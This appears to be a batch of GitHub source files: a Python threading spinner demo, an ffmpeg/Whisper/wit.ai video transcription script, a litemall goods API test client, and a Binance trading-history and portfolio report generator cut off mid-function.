{"seq_id":"70416507881","text":"# spinner_thread.py\n\n# credits: Adapted from Michele Simionato's\n# multiprocessing example in the python-list:\n# https://mail.python.org/pipermail/python-list/2009-February/675659.html\n\n# tag::SPINNER_THREAD_TOP[]\nimport itertools\nimport time\nfrom threading import Thread, Event\n\n\ndef spin(msg: str, done: Event) -> None:  # 函数在单独的线程中运行，done 参数的值是一个 threading.Event 实例，一个用于同步线程的简单对象\n    for char in itertools.cycle(r'\\|/-'):  # 无限循环这四个字符\n        status = f'\\r{char} {msg}'  # 用文本实现动画的技巧：使用 ASCII 回车符（'\\r'）把光标移到行头\n        print(status, end='', flush=True)\n        if done.wait(.1):  # 如果其他线程设置了这个事件，则 Event.wait(timeout=None) 方法返回 True；经过 timeout 指定时间后，返回 False\n            break\n    blanks = ' ' * len(status)\n    print(f'\\r{blanks}\\r', end='')  # 显示空格，并把光标移到开头，清空状态行\n\n\ndef slow() -> int:\n    time.sleep(3)  # slow() 由主线程调用。因此会阻塞主线程，但是释放了 GIL，所以指针能继续旋转\n    return 42\n\n\n# end::SPINNER_THREAD_TOP[]\n\n# tag::SPINNER_THREAD_REST[]\ndef supervisor() -> int:\n    done = Event()  # threading.Event 实例是协调线程活动的关键\n    spinner = Thread(target=spin, args=('thinking!', done))  # 创建一个 Thread 实例\n    print(f'spinner object: {spinner}')  # 显示创建的 Thread 实例，状态为<Thread(Thread-1, initial)>，其中 initial 为线程未启动状态\n    spinner.start()  # 启动线程\n    result = slow()  # 调用 slow() 阻塞主线程，因此子线程运行旋转指针动画\n    done.set()  # 等待3秒后，将 Event 标志设置为 True，终止子线程的 for 循环\n    spinner.join()  # 等待子线程运行完毕\n    return result\n\n\ndef main() -> None:\n    result = supervisor()\n    print(f'Answer: {result}')\n\n\nif __name__ == '__main__':\n    main()\n# end::SPINNER_THREAD_REST[]\n","repo_name":"RyanLin1995/python","sub_path":"流畅的python/19_python并发模型/19.4_一个演示并发的“Hello World”示例/spinner_thread(线程).py","file_name":"spinner_thread(线程).py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6729481985","text":"\"\"\"\n    Video processing and text extraction\n\"\"\"\nimport time\nimport json\nimport subprocess\nimport os\nimport math\nimport glob\nimport requests\nimport ffmpeg\nimport whisper\nfrom utils import ic, writeToLogAndPrint\n\ndef get_video_length(video_path: str):\n    \"\"\"\n    Get video length using ffmpeg and return as seconds\n    \"\"\"\n    duration = ffmpeg.probe(video_path)\n    try:\n        return duration[\"streams\"][0][\"duration\"]\n    except Exception as e:\n        print(e)\n        exit(1)\n        return None\n\n\ndef get_video_from_start(url: str, config: dict):\n    \"\"\"\n    Get video from start time.\n    \"\"\"\n    # result = subprocess.run()\n    # could delay start time by a few seconds to just sync up and capture the full video length\n    # but would need to time how long it takes to fetch the video using youtube-dl and other adjustments and start a bit before\n    start = config.get(\"start\", 0)\n    end = config.get(\"end\", \"00:00:10\")\n    filename = config.get(\"filename\", \"livestream01.mp4\")\n    # remove all dashes from filename\n    ic(\"[get_video_from_start] Getting video\")\n    # delete filename if it exists\n    if os.path.exists(filename):\n        os.remove(filename)\n    #  f\"-{start}\", readd live stream index later\n    \n    result = subprocess.run(\n    f'ffmpeg -i \"{url}\" -t {end} {filename}'\n    # [\"ffmpeg\", \"-i\", f\"'{url}'\", \"-t\", end, \"-copy\", filename]\n    , shell=True, capture_output=True)\n    ic(result)\n    return result.stdout.decode(\"utf-8\")\n\n# wit ai process integration\n\ndef convert_mp4_to_mp3(filename: str):\n    \"\"\"\n    Convert mp4 to mp3 using ffmpeg\n    \"\"\"\n    ic(\"Converting mp4 to mp3\")\n    mp4_filename = filename.replace(\".mp4\", \".mp3\")\n    result = subprocess.run(\n        f\"ffmpeg -i {filename} -vn {mp4_filename}\",\n        shell=True,\n    )\n    ic(result)\n    return result\n\n\n# parse all the partial json responses and attempt to find the last one\n\ndef parse_witai_response(data: str):\n    \"\"\"\n    Parse wit.ai response\n    \"\"\"\n    # scan for export interface and export type\n\n    type_start_line = None\n    type_end_line = None\n    matches = []\n    lines = data.split(\"\\n\")\n    for i, value in enumerate(lines):\n        line = lines[i]\n        # make sure this isnt a comment \n        # match { at start of line\n        if line.startswith(\"{\") and type_start_line is None:\n            type_start_line = i\n\n        if type_start_line is not None and line.startswith(\"}\"):\n            type_end_line = i\n            # append entry to matches\n            # get all rows from type_start_line to type_end_line\n            matches.append({\n                \"type_start\": type_start_line,\n                \"type_end\": type_end_line,\n                \"data\": lines[type_start_line:type_end_line+1]\n            })\n            type_start_line = None\n            type_end_line = None\n    # combine all data results and remove duplicates and merge text\n    final_object = {\n        \"speech\": {\n            \"tokens\": []\n        },\n        \"text\": \"\",\n    }\n    for match in matches:\n        matchstr = \"\".join(match.get(\"data\"))\n        transcript_data = json.loads(matchstr)\n        # only append entries that has is final\n        if transcript_data.get(\"is_final\"):\n            # final_object[\"speech\"][\"tokens\"].append(data)\n            final_object[\"text\"] += transcript_data.get(\"text\", \"\") + \" \"\n            # final_object[\"text\"] += data.get(\"text\", \"\")\n        # else:\n        #     final_status = transcript_data.get(\"is_final\")\n        #     print(\"not final\", final_status)\n    return final_object\n\ndef get_text_from_mp3(file_path: str, mime_type = \"audio/mpeg3\"):\n    \"\"\"\n    Get text from video using wit.ai\n    \"\"\"\n    WIT_AT_ENDPOINT = 'https://api.wit.ai/dictation?v=20220622'\n    WIT_AT_TOKEN = os.environ.get(\"WIT_AI_TOKEN\")\n    WIT_AT_HEADERS = {\n        'Authorization': f'Bearer {WIT_AT_TOKEN}',\n        'Content-Type': mime_type,\n        \"Accept\": \"application/json\",\n    }\n\n    with open(file_path, 'rb') as f:\n        WIT_AT_DATA = f.read()\n    r = requests.post(WIT_AT_ENDPOINT, headers=WIT_AT_HEADERS, data=WIT_AT_DATA)\n    try:\n        # writeToLogAndPrint(r.text)\n        # print(r.text)\n        writeToLogAndPrint(\"Attempt to parse wit.ai response as json\")\n        data = r.json()\n        return data\n    except Exception as _ex:\n        ic(\"Using text logic now\")\n        return parse_witai_response(r.text)\n\ndef format_seconds(seconds: int):\n    \"\"\"\n    format seconds to hh:mm:ss\n    \"\"\"\n    hours = math.floor(seconds / 3600)\n    minutes = math.floor((seconds % 3600) / 60)\n    seconds %= 60\n    return f\"{hours}:{minutes}:{seconds}\"\n\n# think I want model loaded and reused?\ndef get_text_from_mp3_whisper(mp3_file: str):\n    model = whisper.load_model(\"tiny\")\n    # options = whisper.DecodingOptions(language=\"en\", without_timestamps=True)\n    result = model.transcribe(mp3_file)\n    return result\n\n\ndef transcribe_audio_whisper(filename: str, is_livestream: bool = False):\n    final_object = {\n        \"speech\": {\n            \"tokens\": []\n        },\n        \"text\": \"\",\n    }\n    text_bodies = []\n    for count, chunk_name in enumerate(split_vid_into_chunks(filename, is_livestream)):\n        mp3_file = chunk_name.replace(\".mp4\", \".mp3\")\n        # load audio and pad/trim it to fit 30 seconds\n        t2_start = time.perf_counter()\n        # try:\n        # iterate through files with _{d} format\n        final_object = {\n            \"speech\": {\n                \"tokens\": []\n            },\n            \"text\": \"\",\n        }\n        # get text from mp3\n        partial_object = get_text_from_mp3_whisper(chunk_name)\n        text_bodies.append({\n            \"text\": partial_object.get(\"text\", \"\"),\n            \"count\": count,\n            \"id\": chunk_name,\n        })\n        # except Exception as e:\n        #     ic(f\"Error getting text from mp3 for {filename}\")\n        #     ic(e)\n        #     return None\n    # make final_object, group by number in _{d} format\n    final_object = {\n        \"text\": \"\",\n    }\n    # sort text_bodies by id number in _{d} format\n    text_bodies = sorted(text_bodies, key=lambda k: k['count'])\n    for text_body in text_bodies:\n        final_object[\"text\"] += text_body.get(\"text\", \"\")\n    # print the recognized text\n    return final_object\n\n# for the new system eventually switch to yield\ndef split_vid_into_chunks(filename: str, is_livestream: bool = False, chunk_size: int = 4*60+30):\n    try:\n        t1_start = time.perf_counter()\n        if not is_livestream:\n            # split mp4 into smaller mp3 files\n            length_in_secs = get_video_length(filename)\n            # round to nearest second \n            length_in_secs = float(length_in_secs)\n            length_in_secs = math.ceil(length_in_secs)\n            ic(length_in_secs)\n            # split into 2 minute 30 second chunks\n            chunk_length = chunk_size\n            # iterate through chunks\n            ic()\n            for i in range(math.ceil(length_in_secs /chunk_length)):\n                ic()\n                # get start and end time\n                start = i * chunk_length\n                end = (i + 1) * chunk_length\n                chunk_filename = filename.replace(\".mp4\", f\"_{i}.mp3\")\n                # -vn\", filename.replace(\".mp4\", \".mp3\")\n                # todo integrate directly using ffmpeg python binders\n                os.system(f\"ffmpeg -y -i {filename} -ss {format_seconds(start)} -t {format_seconds(end)} -vn {chunk_filename}\")\n                # should wait until this is done\n                yield chunk_filename\n            ic(\"No chunks to process for video\")\n                    # convert_mp4_to_mp3(filename)\n        else:\n            convert_mp4_to_mp3(filename)\n            yield filename\n        t2_start = time.perf_counter()\n        ic(f\"[timing] Converted mp4 to mp3 in {t2_start - t1_start} seconds\")\n    except Exception as e:\n        ic(f\"Error converting mp4 to mp3 for {filename}\")\n        ic(e)\n        raise Exception(f\"Error converting mp4 to mp3 for {filename}\")\n\ndef transcribe_audio_wit(filename: str, is_livestream: bool = False):\n    \"\"\"\n    Transcribe audio using wit.ai\n    \"\"\"\n    final_object = {\n        \"speech\": {\n            \"tokens\": []\n        },\n        \"text\": \"\",\n    }\n\n    text_bodies = []\n    for count, chunk_name in enumerate(split_vid_into_chunks(filename, is_livestream)):\n        # get text from mp3\n        t2_start = time.perf_counter()\n        # TODO refactor this logic tommorow to be a specific function\n        mp3_name = chunk_name.replace(\".mp4\", \".mp3\")\n        if not is_livestream:\n            # iterate through files with _{d} format\n            # get text from mp3\n            partial_object = get_text_from_mp3(mp3_name)\n            # append to final object\n            text_bodies.append({\n                \"text\": partial_object.get(\"text\", \"\"),\n                \"id\": chunk_name,\n                \"count\": count,\n            })\n            final_object[\"text\"] += partial_object[\"text\"]\n        else:\n            # for livestreams we should only have one file\n            data = get_text_from_mp3(mp3_name)\n            t2_end = time.perf_counter()\n            text_bodies.append({\n                \"text\": data.get(\"text\", \"\"),\n                \"id\": chunk_name,\n                \"count\": count,\n            })\n\n    text_bodies = sorted(text_bodies, key=lambda k: k['count'])\n    for text_body in text_bodies:\n        final_object[\"text\"] += text_body.get(\"text\", \"\")\n    return final_object\n\ndef main():\n    # data = get_text_from_mp3(\"livestream5.mp3\")\n    # print(data)\n    # read file from livestream9.json\n    # duration = get_video_length(\"livestream01.mp4\")\n    t1_start = time.perf_counter()\n    data = transcribe_audio_whisper(\"8F5Mc5bKEdc.mp4\", False)\n    # output to test text file\n    with open(\"whispers.json\", \"w\") as f:\n        f.write(json.dumps(data))\n    t1_end = time.perf_counter()\n    ic(f\"[timing] Transcribed audio in {t1_end - t1_start} seconds\")\n    # print it in minutes\n    ic(f\"[timing] Transcribed audio in {(t1_end - t1_start) / 60} minutes\")\n    \n    # t2 for the other transcription\n    t2_start = time.perf_counter()\n    wit_ai = transcribe_audio_wit(\"8F5Mc5bKEdc.mp4\", False)\n    t2_end = time.perf_counter()\n    ic(f\"[timing] Transcribed audio in {t2_end - t2_start} seconds\")\n    ic(f\"[timing] Transcribed audio in {(t2_end - t2_start) / 60} minutes\")\n    with open(\"witai.json\", \"w\") as f:\n        f.write(json.dumps(wit_ai))\n    # with open(\"livestream9.json\") as f:\n    #     data = f.readlines()\n    #     data = \"\".join(data)\n    #     resp = parse_witai_response(data)\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"dli-invest/fdrtt","sub_path":"processing.py","file_name":"processing.py","file_ext":"py","file_size_in_byte":10593,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"3908336322","text":"import random\n\nfrom apitest_project.test_api.test_litemall_pro.api.base_api import BaseApi\nfrom apitest_project.test_api.test_litemall_pro.utils.log_util import logger\n\n\nclass ProductApi(BaseApi):\n\n    def add(self, product_name: str):\n\n        info = {\n            'method': 'POST',\n            'url': f'{self.base_url}/admin/goods/create',\n            'headers': {'X-Litemall-Admin-Token': self.token},\n            'data': {\n                \"goods\": {\n                    \"goodsSn\": f\"{random.randint(1000000000, 10000000000)}\",\n                    \"name\": product_name\n                },\n                \"specifications\": [\n                    {\n                        \"specification\": \"规格\",\n                        \"value\": \"标准\"\n                    }\n                ],\n                \"products\": [\n                    {\n                        \"specifications\": [\n                            \"标准\"\n                        ],\n                        \"price\": 0,\n                        \"number\": 0,\n                    }\n                ],\n                \"attributes\": [\n                    {\n                        \"attribute\": \"材质\",\n                        \"value\": \"纯棉\"\n                    }\n                ]\n            }\n        }\n\n        # r = requests.post(url, json=data, headers=headers)\n        r = self.send(**info)\n        logger.info(r.json())\n\n        return r\n\n    def get(self, product_name: str):\n        \"\"\"查询商品\"\"\"\n\n        info = {\n            'method': 'GET',\n            'url': f'{self.base_url}/admin/goods/list',\n            'params': {\n                'name': product_name\n            },\n            'headers': {'X-Litemall-Admin-Token': self.token}\n        }\n\n        # r = requests.get(url, params=params, headers=headers)\n        r = self.send(**info)\n        logger.info(r.json())\n\n        return r\n\n    def delete(self, product_id: int):\n        info = {\n            'method': 'POST',\n            'url': f'{self.base_url}/admin/goods/delete',\n            'headers': {'X-Litemall-Admin-Token': self.token},\n            'json': {\n                \"id\": product_id\n            }\n        }\n\n        # r = requests.post(url, json=data, headers=headers)\n        r = self.send(**info)\n        logger.info(r.json())\n\n        return r","repo_name":"73654/studying","sub_path":"apitest_project/test_api/test_litemall_pro/api/product_api.py","file_name":"product_api.py","file_ext":"py","file_size_in_byte":2290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"31169468814","text":"from utility import Config, make_request, get_server_time, make_binance_request\nfrom json import loads\nfrom tabulate import tabulate\nfrom logic import be_get_token_defi_value\nfrom matplotlib import use\nfrom matplotlib.pyplot import pie, legend, suptitle, axis, figure, close, cla\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom numpy import array\nfrom threading import Thread\nfrom datetime import datetime\nfrom logging import info\n\n\nclass BinanceThread (Thread):\n\n    def __init__(self, key):\n        Thread.__init__(self)\n        self.key = key\n        self.order_list = []\n        self.buy_sell_orders = {}\n\n    def run(self):\n        orders = []\n        for stable in Config.settings['binance']['symbols'][self.key]['stablecoin']:\n            orders += make_binance_request(\"api/v3/myTrades\", f\"timestamp={Config.settings['binance']['time']}&symbol={self.key}{stable}\")\n        medium, qty_total, medium_sell, qty_total_sell = 0, 0, 0, 0\n        if self.key + \"BUSD\" in Config.orders:\n            for order in Config.orders[self.key + \"BUSD\"]:\n                if order['type'] == 'BUY':\n                    qty_total += order['amount']\n                    medium += order['amount'] * order['value']\n                else:\n                    qty_total_sell += order['amount']\n                    medium_sell += order['amount'] * order['value']\n                self.order_list.append([order['date'], order['type'], self.key, order['value'], order['amount'], \"\", order['amount'] * order['value']])\n        for order in orders:\n            type_order = \"SELL\"\n            if order['isBuyer']:\n                type_order = \"BUY\"\n                medium += float(order['price']) * float(order['qty'])\n                qty_total += float(order['qty'])\n            else:\n                medium_sell += float(order['price']) * float(order['qty'])\n                qty_total_sell += float(order['qty'])\n            self.order_list.append([datetime.fromtimestamp(order['time'] / 1000).strftime('%Y-%m-%d'), type_order, order['symbol'], order['price'], order['qty'], order['commission'] + \" \" + order['commissionAsset'], order['quoteQty']])\n        self.order_list.sort(key=lambda x: x[0])\n        self.buy_sell_orders[self.key] = {\n            'buy': {'medium': 0, 'qty_total': 0},\n            'sell': {'medium': 0, 'qty_total': 0}\n        }\n        if qty_total > 0:\n            self.buy_sell_orders[self.key]['buy'] = {'medium': medium / qty_total, 'qty_total': qty_total}\n        if qty_total_sell > 0:\n            self.buy_sell_orders[self.key]['sell'] = {'medium': medium_sell / qty_total_sell, 'qty_total': qty_total_sell}\n\n\n'''\nmake_binance_request(\"sapi/v1/lending/daily/token/position\", \"asset={}&timestamp={}\".format(asset, str(get_server_time())))\nmake_binance_request(\"sapi/v1/lending/project/position/list\", \"asset={}&status=HOLDING&timestamp={}\".format(asset, str(get_server_time())))\nmake_binance_request(\"sapi/v1/lending/union/interestHistory\", \"lendingType=CUSTOMIZED_FIXED&timestamp={}\".format(str(get_server_time())))\n'''\n\n\ndef get_open_orders(filename):\n    f = open(filename, \"w\")\n    f.write(\"\")\n    f.close()\n    orders = make_binance_request(\"api/v3/openOrders\", f\"timestamp={Config.settings['binance']['time']}\")\n    order_list = []\n    for order in orders:\n        order_list.append([order['side'], order['symbol'], order['price'], order['origQty'], str(float(order['price']) * float(order['origQty']))])\n    f = open(filename, \"a\")\n    f.write(tabulate(order_list, headers=['TYPE', 'ASSET', 'PRICE', 'QTY', 'TOTAL'], tablefmt='orgtbl', floatfmt=\".8f\") + \"\\n\\n\\n\")\n    f.close()\n\n\ndef get_order_history(filename):\n    order_list = []\n    buy_sell_orders = {}\n    thread_list = []\n    for key in Config.settings['binance']['symbols'].keys():\n        thread = BinanceThread(key)\n        thread.setDaemon(True)\n        thread_list.append(thread)\n        thread.start()\n    for t in thread_list:\n        t.join()\n        order_list = order_list + t.order_list\n        buy_sell_orders |= t.buy_sell_orders\n    f = open(filename, \"a\")\n    f.write(tabulate(order_list, headers=['DATE', 'TYPE', 'ASSET', 'PRICE', 'QTY', 'FEE', 'TOTAL'], tablefmt='orgtbl', floatfmt=\".8f\") + \"\\n\\n\\n\")\n    f.close()\n    return buy_sell_orders\n\n\ndef calculate_budget_coin(buy_sell_orders, total_wallet):\n    to_ret = {'mining': 0, 'fee': 0}\n    diff_order = buy_sell_orders['buy']['qty_total'] - buy_sell_orders['sell']['qty_total']\n    if total_wallet > diff_order:\n        to_ret['mining'] = total_wallet - diff_order\n    else:\n        to_ret['fee'] = diff_order - total_wallet\n    to_ret['budget'] = total_wallet\n    return to_ret\n\n\ndef prepare_url_coinmarketcap(buy_sell_orders, coin):\n    url = f'{Config.settings[\"coinmarketcap\"][\"price_url\"]}{Config.settings[\"coinmarketcap\"][\"key\"]}&convert={coin}&slug='\n    for key in buy_sell_orders.keys():\n        if Config.settings['binance'][\"symbols\"][key]['coinmarketcap'][:2] != '0x' and buy_sell_orders[key]:\n            url += Config.settings['binance'][\"symbols\"][key]['coinmarketcap'] + \",\"\n    return url[:-1]\n\n\ndef get_ath_and_value(res_conv, key, coin, ath=False):\n    cry = {}\n    to_ret = {}\n    name = key\n    if key == \"EUR\":\n        name = \"EURC\"\n    if Config.settings['binance'][\"symbols\"][key]['coinmarketcap'][:2] != '0x':\n        for cry in res_conv:\n            if cry['symbol'] == name:\n                break\n        if ath:\n            res = str(make_request(\"https://coinmarketcap.com/currencies/\" + cry['slug'])['response'])\n            to_ret['ath'] = res.split(\"<div>All Time High</div>\")[1].split(\"<span>\")[1].split(\"</span>\")[0][1:]\n        to_ret['actual_value'] = cry['quote'][coin]['price']\n    else:\n        addr = Config.settings['binance'][\"symbols\"]['coinmarketcap'][key].split(\"-\")[0]\n        chain = Config.settings['binance'][\"symbols\"]['coinmarketcap'][key].split(\"-\")[1]\n        res = be_get_token_defi_value({chain: {addr: name}})\n        to_ret['actual_value'] = 0\n        if name in res:\n            to_ret['actual_value'] = res[name]\n        if ath:\n            to_ret['ath'] = 'N.D.'\n    return to_ret\n\n\ndef prepare_output(output_data, file_name_order, file_name_pdf):\n    gain = round(output_data['total_eur'] - output_data['total_deposit_eur'], 2)\n    gain_perc = round(gain / output_data['total_deposit_eur'] * 100, 2)\n    fig1 = figure(figsize=(7, 5))\n    fig1.subplots_adjust(0.3, 0, 1, 0.9)\n    patch, text = pie(array([p['perc'] for p in output_data['percs_wall_eur']]))\n    legend(patch, [p['label'] for p in output_data['percs_wall_eur']], loc=\"upper left\", prop={'size': 12}, bbox_to_anchor=(0.0, 0.65), bbox_transform=fig1.transFigure)\n    axis('equal')\n    suptitle(f\"\\nDEPOSIT: {round(output_data['total_deposit_eur'], 2)}€    NOW: {round(output_data['total_eur'], 2)}€    GAIN: {gain}€ ({gain_perc}%)\\n\")\n    fig2 = figure(figsize=(7, 5))\n    fig2.subplots_adjust(0.3, 0, 1, 0.9)\n    patch, text = pie(array([p['perc'] for p in output_data['percs_wall']]))\n    legend(patch, [p['label'] for p in output_data['percs_wall']], loc=\"upper left\", prop={'size': 9}, bbox_to_anchor=(0.0, 0.9), bbox_transform=fig2.transFigure)\n    axis('equal')\n    suptitle(f\"\\nTOTAL INVEST CRYPTO: {round(output_data['total_total_invest_eur'], 2)}€  - TOTAL CRYPTO: {str(round(output_data['total_balance_crypto_eur'], 2))}€\")\n    pdf = PdfPages(file_name_pdf)\n    for fig in range(1, figure().number):\n        pdf.savefig(fig)\n    pdf.close()\n    fig1.clear()\n    fig2.clear()\n    cla()\n    close(\"all\")\n    head_asset_list = ['ASSET', 'MINED/FEE', 'TOT BUY', 'TOT SELL', 'AVG BUY', 'AVG SELL', 'TOT INVEST', 'TOT RETURN', 'TOT MARGIN', 'SELL NOW']\n    head_actual_list = ['ASSET', 'ACT INVEST', 'REAL AVG BUY', 'ACT AVG BUY', 'ACT PRICE', 'BUDGET', 'SELL NOW', 'MARGIN', 'FINAL MARGIN']\n    head_usd = [\"COIN\", \"TOT BUY\", \"TOT SELL\", \"AVG BUY\", \"AVG SELL\", \"TOT EUR INVEST\", \"TOT EUR RETURN\", \"TOTAL MARGIN\", \"SELL NOW\"]\n    head_actual_usd = [\"COIN\", \"ACTUAL PRICE\", \"BUDGET\", \"SELL NOW\", \"FINAL MARGIN\"]\n    f = open(file_name_order, \"a\")\n    f.write(tabulate(output_data['assets_list'], headers=head_asset_list, tablefmt='orgtbl', floatfmt=\".6f\") + \"\\n\\n\\n\" +\n            tabulate(output_data['actual_list'], headers=head_actual_list, tablefmt='orgtbl', floatfmt=\".6f\") + \"\\n\\n\\n\" +\n            tabulate(output_data['eur_gain_total'], headers=head_usd, tablefmt='orgtbl', floatfmt=\".6f\") + \"\\n\\n\\n\" +\n            tabulate(output_data['eur_gain_actual'], headers=head_actual_usd, tablefmt='orgtbl', floatfmt=\".6f\") + \"\\n\\n\\n\" +\n            \"TOTAL CRYPTO INVEST: \" + str(round(output_data['total_total_invest_eur'], 2)) + \"€ - \" + str(round(output_data['total_total_invest'], 2)) + \"$\\n\\n\" +\n            \"TOTAL CRYPTO MARGIN: \" + str(round(output_data['total_total_margin_eur'], 2)) + \"€ - \" + str(round(output_data['total_total_margin'], 2)) + \"$\\n\\n\" +\n            \"TOTAL CRYPTO BALANCE: \" + str(round(output_data['total_balance_crypto_eur'], 2)) + \"€ - \" + str(round(output_data['total_balance'], 2)) + \"$\\n\\n\" +\n            \"TOTAL STABLECOIN: \" + str(round(output_data['total_balance_stable_eur'], 2)) + \"€ - \" + str(round(output_data['total_balance_stable'], 2)) + \"$\\n\\n\" +\n            \"TOTAL EUR DEPOSIT: \" + str(round(output_data['total_deposit_eur'], 2)) + \"€\\n\\n\" +\n            \"TOTAL EUR BALANCE: \" + str(round(output_data['total_balance_eur'], 2)) + \"€\\n\\n\" +\n            \"TOTAL EUR IF SELL ALL NOW: \" + str(round(output_data['total_eur'], 2)) + \"€\\n\\n\" +\n            \"TOTAL EUR MARGIN: \" + str(gain) + \"€\\n\")\n    f.close()\n    assets_list_tg = []\n    for asset in output_data['actual_list']:\n        if asset[5] > 0:\n            assets_list_tg.append([asset[0], asset[3], asset[4], asset[5], asset[8]])\n    return f\"{tabulate(assets_list_tg, headers=['ASSET', 'AVG BUY', 'ACTUAL', 'BUDGET', 'FINAL MARGIN'], tablefmt='orgtbl', floatfmt='.4f')}\\n\\n\\nDEP: {round(output_data['total_deposit_eur'], 2)}€   NOW: {round(output_data['total_eur'], 2)}€   MARG: {str(gain)}€\"\n\n\ndef get_wallet(buy_sell_orders, total_wallet, file_name_order, file_name_pdf):\n    output_data = {\n        'assets_list': [],\n        'actual_list': [],\n        'percs_wall': [],\n        'percs_wall_eur': [],\n        'total_total_invest': 0,\n        'total_total_margin': 0,\n        'total_balance': 0,\n        'total_balance_eur': 0\n    }\n    coin = 'USD'\n    my_fiat = 'EUR'\n    res_conv = list(loads(make_request(prepare_url_coinmarketcap(buy_sell_orders, coin))['response'])['data'].values())\n    coins = list(buy_sell_orders.keys())\n    coins.remove(my_fiat)\n    for key in coins:\n        total_invest = buy_sell_orders[key]['buy']['qty_total'] * buy_sell_orders[key]['buy']['medium']\n        total_return = buy_sell_orders[key]['sell']['qty_total'] * buy_sell_orders[key]['sell']['medium']\n        total_margin, actual_margin, sell_mining, sell_now, sell_now_mining, total_margin_perc = 0, 0, 0, 0, 0, 0\n        my_actual_mid_buy, real_actual_mid_buy, my_actual_invest = 0, 0, 0\n        actual_budget = calculate_budget_coin(buy_sell_orders[key], total_wallet[key] if key in total_wallet.keys() else 0)\n        if buy_sell_orders[key]['sell']['qty_total'] > 0 or actual_budget['fee'] > 0:\n            if buy_sell_orders[key]['sell']['qty_total'] > buy_sell_orders[key]['buy']['qty_total']:\n                total_margin = total_return - total_invest - (actual_budget['fee'] * buy_sell_orders[key]['buy']['medium'])\n            else:\n                total_margin = total_return - ((buy_sell_orders[key]['sell']['qty_total'] + actual_budget['fee']) * buy_sell_orders[key]['buy']['medium'])\n        total_margin = round(total_margin, 2)\n        if total_invest > 0:\n            total_margin_perc = f' ({str(round((total_return - total_invest) / total_invest * 100, 2))}%)'\n        else:\n            total_margin_perc = ' (∞)'\n        final_margin = total_margin\n        if actual_budget['budget'] > 0:\n            total_margin_perc = ' (N.D.)'\n            value_and_ath = get_ath_and_value(res_conv, key, coin)\n            sell_now = actual_budget['budget'] * value_and_ath['actual_value']\n            sell_now_mining = (actual_budget['mining'] if actual_budget['budget'] >= actual_budget['mining'] else actual_budget['budget']) * value_and_ath['actual_value']\n            if total_invest - total_return > 0:\n                my_actual_invest = total_invest - total_return\n                my_actual_mid_buy = my_actual_invest / actual_budget['budget']\n                real_actual_mid_buy = my_actual_invest / (actual_budget['budget'] - actual_budget['mining'])\n                output_data['total_total_invest'] += my_actual_invest\n            actual_margin = sell_now - sell_now_mining - my_actual_invest\n            final_margin = round(actual_margin + sell_now_mining, 2)\n            final_margin_perc = ' (∞)'\n            if my_actual_invest > 0:\n                final_margin_perc = f' ({str(round((sell_now - my_actual_invest) / my_actual_invest * 100, 2))}%)'\n            output_data['total_balance'] += sell_now\n            output_data['percs_wall'].append({'perc': sell_now, 'label': key + \" - \" + str(round(sell_now, 2)) + \"$ \"})\n            output_data['actual_list'].append([key, my_actual_invest, real_actual_mid_buy, my_actual_mid_buy, value_and_ath['actual_value'], actual_budget['budget'], sell_now, actual_margin, str(final_margin) + final_margin_perc])\n        output_data['total_total_margin'] += final_margin\n        output_data['assets_list'].append([key, actual_budget['mining'] - actual_budget['fee'], buy_sell_orders[key]['buy']['qty_total'], buy_sell_orders[key]['sell']['qty_total'], buy_sell_orders[key]['buy']['medium'], buy_sell_orders[key]['sell']['medium'], total_invest, total_return, str(total_margin) + total_margin_perc, sell_now])\n    i = 0\n    while i < len(output_data['percs_wall']):\n        output_data['percs_wall'][i]['perc'] = (output_data['percs_wall'][i]['perc'] * 100) / output_data['total_balance']\n        output_data['percs_wall'][i]['label'] += f\"({round(output_data['percs_wall'][i]['perc'], 2)}%)\"\n        i += 1\n    eur_value = get_ath_and_value(res_conv, my_fiat, coin)['actual_value']\n    total_invest = buy_sell_orders[my_fiat]['sell']['qty_total'] * buy_sell_orders[my_fiat]['sell']['medium']\n    total_return = buy_sell_orders[my_fiat]['buy']['qty_total'] * buy_sell_orders[my_fiat]['buy']['medium']\n    total_margin = (buy_sell_orders[my_fiat]['buy']['qty_total'] * buy_sell_orders[my_fiat]['sell']['medium']) - total_return\n    sell_now = total_wallet[coin] / eur_value\n    m = sell_now - (total_wallet[coin] / buy_sell_orders[my_fiat]['sell']['medium'])\n    output_data['eur_gain_total'] = [[coin, total_invest, total_return, 1 / buy_sell_orders[my_fiat]['sell']['medium'], 1 / buy_sell_orders[my_fiat]['buy']['medium'], buy_sell_orders[my_fiat]['sell']['qty_total'], buy_sell_orders[my_fiat]['buy']['qty_total'], total_margin, sell_now]]\n    output_data['eur_gain_actual'] = [[coin, 1 / eur_value, total_wallet[coin], sell_now, m]]\n    output_data['total_total_margin_eur'] = output_data['total_total_margin'] / eur_value\n    output_data['total_total_invest_eur'] = output_data['total_total_invest'] / eur_value\n    output_data['total_balance_stable'] = total_wallet[coin]\n    output_data['total_balance_crypto_eur'] = output_data['total_balance'] / eur_value\n    output_data['total_balance_stable_eur'] = output_data['total_balance_stable'] / eur_value\n    output_data['total_deposit_eur'] = sum(Config.settings[\"binance\"][\"deposits\"]) - sum(Config.settings[\"binance\"][\"card\"]) + total_wallet['card_eur']\n    if my_fiat in total_wallet:\n        output_data['total_balance_eur'] = total_wallet[my_fiat]\n    output_data['total_eur'] = output_data['total_balance_eur'] + output_data['total_balance_stable_eur'] + output_data['total_balance_crypto_eur']\n    output_data['percs_wall_eur'].append({\"perc\": (output_data['total_balance_crypto_eur'] * 100) / output_data['total_eur'], \"label\": f\"CRYPTO perc\\n{round(output_data['total_balance_crypto_eur'], 2)}€\"})\n    output_data['percs_wall_eur'].append({\"perc\": (output_data['total_balance_stable_eur'] * 100) / output_data['total_eur'], \"label\": f\"STABLE perc\\n{round(output_data['total_balance_stable_eur'], 2)}€\"})\n    output_data['percs_wall_eur'].append({\"perc\": (output_data['total_balance_eur'] * 100) / output_data['total_eur'], \"label\": f\"EUR perc\\n{round(output_data['total_balance_eur'], 2)}€\"})\n    i = 0\n    while i < len(output_data['percs_wall_eur']):\n        output_data['percs_wall_eur'][i]['label'] = output_data['percs_wall_eur'][i]['label'].replace(\"perc\", 